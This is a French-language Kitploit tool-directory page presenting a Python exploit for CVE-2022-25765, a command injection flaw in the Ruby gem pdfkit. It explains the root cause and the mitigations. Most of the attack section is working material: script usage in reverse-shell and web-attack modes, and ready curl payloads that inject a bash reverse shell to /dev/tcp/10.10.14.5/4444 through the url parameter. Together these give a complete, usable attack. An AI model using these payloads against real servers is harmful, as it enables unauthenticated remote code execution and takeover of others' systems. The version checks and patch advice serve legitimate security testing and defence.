Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-25765-exploit — Exploit Python pour l'injection de commandes CVE-2022-25765 dans pdfkit, permettant l'exécution de code à distance via des URL malveillantes avec des modes de shell inversé et de commande personnalisée. | Kitploit
Outils/GitHubGitHub/jeanback1/cve-2022-25765-exploit
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et Contrôle
GitHubjeanback1/cve-2022-25765-exploit

CVE-2022-25765-exploit

Exploit Python pour l'injection de commandes CVE-2022-25765 dans pdfkit, permettant l'exécution de code à distance via des URL malveillantes avec des modes de shell inversé et de commande personnalisée.

Voir le dépôt
3il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-25765 — Injection de commandes dans pdfkit

Description

CVE-2022-25765 est une vulnérabilité d'injection de commandes (Command Injection) affectant pdfkit (gem Ruby) dans les versions < 0.8.7.2. La vulnérabilité a une sévérité CRITIQUE avec un CVSS 9.8, car elle permet l'exécution de commandes à distance sans authentification.

Le problème réside dans le fait que pdfkit passe le paramètre url directement au shell sans assainissement. La bibliothèque exécute en interne wkhtmltopdf avec une commande similaire à :

root@kitploit:~
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

Si l'URL contient %20 (espace URL-encodé) suivi de backticks ` ou $(), le shell interprète le contenu comme une commande et l'exécute.

CVSS 3.1 : 9.8 (CRITIQUE) —

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Détails techniques

ChampValeur
CVECVE-2022-25765
Produitpdfkit (gem Ruby)
Versions affectées0.0.0 – 0.8.7.2
TypeCommand Injection (CWE-78)
AuthentificationNon requise
CVSS 3.19.8 CRITIQUE
Correctifpdfkit ≥ 0.8.7.2

Cause racine

Le code vulnérable dans pdfkit (source.rb:44-50) :

root@kitploit:~
def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

L'URL est interpolée directement dans la commande shell sans assainissement. En incluant %20 (espace), le contenu après l'espace s'échappe du contexte de l'argument de wkhtmltopdf et un \`` ou $()` permet d'exécuter des commandes arbitraires.


Exploit

Auteur original

UNICORDev (@NicPWNs et @Dev-Yeoj)

L'exploit original se trouve sur :

  • GitHub — UNICORDev/exploit-CVE-2022-25765
  • Exploit-DB #51293

Prérequis

  • Python 3
  • requests, urllib3
root@kitploit:~
pip install -r requirements.txt

Utilisation

root@kitploit:~
# Mode commande personnalisée (génère un payload)
python3 exploit-CVE-2022-25765.py -c "whoami"

# Mode reverse shell (génère un payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# Mode web — envoie la commande directement au site vulnérable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# Mode web — reverse shell directe vers le site vulnérable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# Aide
python3 exploit-CVE-2022-25765.py -h

Paramètres

ParamètreDescription
-cCommande personnalisée
-s <IP> <PORT>Mode reverse shell
-w <URL>URL du site web vulnérable (optionnel)
-p <param>Paramètre POST (optionnel, défaut : url)
-hAide

Exemples de payload manuel

root@kitploit:~
# Injection via curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# Ou en utilisant $() à la place des backticks
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# Commande simple
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

Identification

Pour identifier si un serveur est vulnérable :

  1. Envoyer une URL contrôlée et observer le callback HTTP
  2. Vérifier les métadonnées du PDF généré : Creator: pdfkit v0.8.6
root@kitploit:~
# Envoyer une URL et recevoir un callback
curl -X POST http://target.com/ -d "url=http://TON_IP:4444/test"
# Listener : nc -lnvp 4444
# Si tu reçois la requête avec User-Agent: wkhtmltopdf, l'application convertit les PDFs

# Vérifier la version dans les métadonnées du PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Chercher : "Generated by pdfkit v0.8.6" (vulnérable)

Atténuation

  • Mettre à jour pdfkit vers la version ≥ 0.8.7.2
  • Si la mise à jour n'est pas possible, assainir le paramètre url pour supprimer les caractères dangereux (\``, $(), %20`)
  • Mettre en place une liste blanche d'URLs ou utiliser une API tierce pour la génération de PDFs

Références

  • NVD — CVE-2022-25765
  • CVE-2022-25765 sur GitHub
  • Exploit-DB #51293
  • Avis Snyk — SNYK-RUBY-PDFKIT-2869795
  • pdfkit GitHub (original)
Télécharger l’outil